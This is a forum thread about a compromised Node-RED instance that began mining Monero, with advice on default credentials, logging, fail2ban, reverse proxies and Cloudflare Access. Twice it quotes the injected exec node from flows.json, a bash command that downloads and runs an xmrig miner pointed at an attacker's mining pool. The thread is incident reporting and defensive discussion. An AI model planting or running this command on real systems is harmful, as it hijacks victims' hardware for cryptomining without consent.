Node Red starts mining Monero coins without my consent!

Your security is (now) kind of a moot point.

So the question may not be comfortable for you being asked.
But to maybe help other people learn from this mistake:

what username and password did you use?

Just that way if you say you used (for instance)
username: user
password: password

It will be a good example for others who think that is secure.

It isn't a put down.

As I said, all those details are now kind of academic.

They HAVE been cracked.

@devifast Do you see any nodes in your flow that you didnt create yourself, possibly an exec node as @hardillb mentioned ? Did you do that search ?


Is there any logging in either the system or nodered so be can track what the hacker is doing to modify the flow ? log attempts .. ip .. api endpoints

If no detailed logs are there by default .. can @devifast add something in settings.js so we get more information ?

Just a reminder here that if the attacker gained access to Node-RED, there is a very good chance they then got access to the whole device. Logs will be suspect as will the configuration of the OS.

This is why I've always said that Node-RED should not be installed globally and should always be run under its own, limited user-id.

My answer was more than clear. I left them by default even though I never do. There's always a first time. :slight_smile:

To quote Jamie Hyneman from Mythbusters......

Well there's your problem.

2 Likes

How to make fail2ban protect Node red, if anyone has experience, please share.

Hello, I was reading this topic and I have a question...

I'm following Node-RED’s security recommendations, especially the part that says the editor should never be exposed directly to the internet.

My setup is as follows: I'm running a minimal Linux-based IIoT edge device, using Docker containers for each service (node-red, postgres, and cloudflared separately). The only service I want to expose externally is the Node-RED Dashboard, and I'm doing that using a Cloudflared Tunnel pointing to http://localhost:1880.

To ensure security, I’ve taken the following measures:

  • Enabled password authentication on the dashboard using httpNodeAuth;
  • Completely disabled the editor using disableEditor: true in settings.js;
  • No open ports are exposed — only Cloudflared handles external access;
  • Node-RED is bound to localhost inside the container.

Given this setup — where the editor is fully disabled and only the dashboard is exposed through a Cloudflared tunnel —
would this be considered a secure and acceptable way to expose the Node-RED Dashboard?

Or is the VPN-only approach still the only officially recommended method?

Thanks in advance!

This is still not the best approach. If using Cloudflared, use their authentication/authorisation service. You can have up to 50 users on their free tier. Cloudflare have years of hard-won experience securing the Internet.

This also saves you a load of extra work ensuring that the NR auth stays secure and gets regularly updated.

When using Cloudflare Zero Trust, you don't need to disable the editor, just make sure that only people on your local network can access it. Though, of course, if you are running a separate, secure instance of Node-RED then yes, disabling it is good.

So only localhost connected users (e.g. via SSH) could access the editor anyway.

There is no "official" method. Security has too many different and sometimes competing needs. It is what works for you.

But in general, no, the 3rd-party proxy method such as Cloudflare Zero Trust is what I always recommend over other approaches.

1 Like

This is what I found in flows.json

    {
        "id": "1fc2f159ff39bb55",
        "type": "exec",
        "z": "53e2bcaac2bf898a",
        "command": "/bin/bash -c \"cd /tmp && if [ ! -f xmrig-aarch64-static ]; then curl -Lk -O https://gitlab.com/Kanedias/xmrig-static/-/releases/v0.109/downloads/xmrig-aarch64-static && chmod +x xmrig-aarch64-static; fi && ./xmrig-a><mrig-aarch64-static --coin 'monero' -o crazyeltonproxy.top:443 --tls --no-color --nicehash --rig-id=$(hostname)\"",
        "addpay": "",
        "append": "",
        "useSpawn": "true",
        "timer": "",
        "winHide": false,
        "oldrc": false,
        "name": "",
        "x": 7200,
        "y": 7880,
        "wires": [
            [
                "b37543cb0328c0e4"
            ],
            [
                "b37543cb0328c0e4"
            ],
            [
                "b37543cb0328c0e4"
            ]
        ]
    },

Thanks a lot for the detailed explanation.
I'll move forward with Cloudflare Access to handle authentication instead of relying on Node-RED's internal password system.

1 Like

There is one related post here

but unfortunately even if you enable audit for more detailed logs .. you wont have the remote IP there so its not possible to use fail2ban using node-red logs.

You could use a reverse proxy like caddy server or nginx in front of your NR server
and use their more detailed logs to implement the additional fail2ban security (protecting you from brute force attacks) along with node-red's authentication using a strong password.

I found the problem! It turned out that the exec node was pushed into one of the flows.



If anyone wants more information?

/bin/bash -c "cd /tmp && if [ ! -f xmrig-aarch64-static ]; then curl -Lk -O https://gitlab.com/Kanedias/xmrig-static/-/releases/v0.109/downloads/xmrig-aarch64-static && chmod +x xmrig-aarch64-static; fi && ./xmrig-aarch64-static --coin 'monero' -o crazyeltonproxy.top:443 --tls --no-color --nicehash --rig-id=$(hostname)"
1 Like

I'm very sorry, the solution is not mine but hardlib's in post 5. Once again I apologize. I tried to remove the solution mark but it didn't work. I ask the moderators to fix this.
Greetings.

I'm afraid we've seen it before, not new. You can find similar posts elsewhere in the forum.

It's fine, his suggestion was sound and it is that that matters.